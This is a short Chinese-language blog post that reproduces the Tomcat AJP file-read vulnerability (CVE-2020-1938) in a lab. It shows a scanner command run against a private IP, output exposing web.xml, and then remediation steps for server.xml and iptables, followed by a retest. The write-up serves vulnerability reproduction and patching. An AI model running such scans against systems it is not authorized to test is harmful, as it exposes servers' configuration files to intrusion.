Tomcat-Ajp协议文件读取漏洞(CVE-2020-1938)

Posted 2021-03-05 马帅领

简介：利用此漏洞，可以获取到WEB-INF下的web.xml信息

工具：CVE-2020-1938TomcatAjpScanner.py、tomcat环境、web站点

1、漏洞复现：

python3 CVE-2020-1938TomcatAjpScanner.py 192.168.93.146

‘192.168.93.146‘] /woaiqiukui

开始检测第1个ip
Getting resource at ajp13://192.168.93.146:8009/woaiqiukuitest
----------------------------
[+] ip:192.168.93.146存在tomcat AJP漏洞
[+] start reading WEB_INF/web.xml:
[b‘<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <filter>
    <filter-name>EncodingFilter</filter-name>
    <filter-class>msl.web.filter.EncodingFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>EncodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  <servlet>
    <description></description>
    <display-name>BaseServlet</display-name>
    <servlet-name>BaseServlet</servlet-name>
    <servlet-class>msl.web.servlet.BaseServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>BaseServlet</servlet-name>
    <url-pattern>/base</url-pattern>
  </servlet-mapping>
  <error-page>
    <error-code>500</error-code>
    <location>/500.jsp</location>
  </error-page>
  <error-page>
    <error-code>404</error-code>
    <location>/404.html</location>
  </error-page>
 <error-page>
 	<error-code>400</error-code>
 	<location>/400.jsp</location

 

默认情况下，tomcat的serverl.xml对ajp的开放状态，如果此时你的防火墙也开放了对应的8009端口，就可以被攻击者利用此漏洞

    <!-- Define an AJP 1.3 Connector on port 8009 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> 

2、修复建议

将上述server.xml中AJP配置注释掉，重启tomcat，或者防火墙关闭对应的8009端口。

 <!-- Define an AJP 1.3 Connector on port 8009 -->
 <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->

复测发现已经修复

root@kali:~/Desktop/poc/CVE-2020-1938TomcatAjpScanner-master# python3 CVE-2020-1938TomcatAjpScanner.py 192.168.93.146
[‘192.168.93.146‘] /woaiqiukui

开始检测第1个ip
[Errno 111] Connection refused
Getting resource at ajp13://192.168.93.146:8009/woaiqiukuitest
[-] 测试ip:192.168.93.146/woaiqiukuitest,[Errno 32] Broken pipe无法连接,原因可能为AJP协议支持端口已关闭

[Errno 32] Broken pipe

防火墙配置，删除/etc/sysconfig/iptables的8009端口配置，然后service iptables restart重启防火墙

-A INPUT -p tcp -m tcp --dport 8009 -j ACCEPT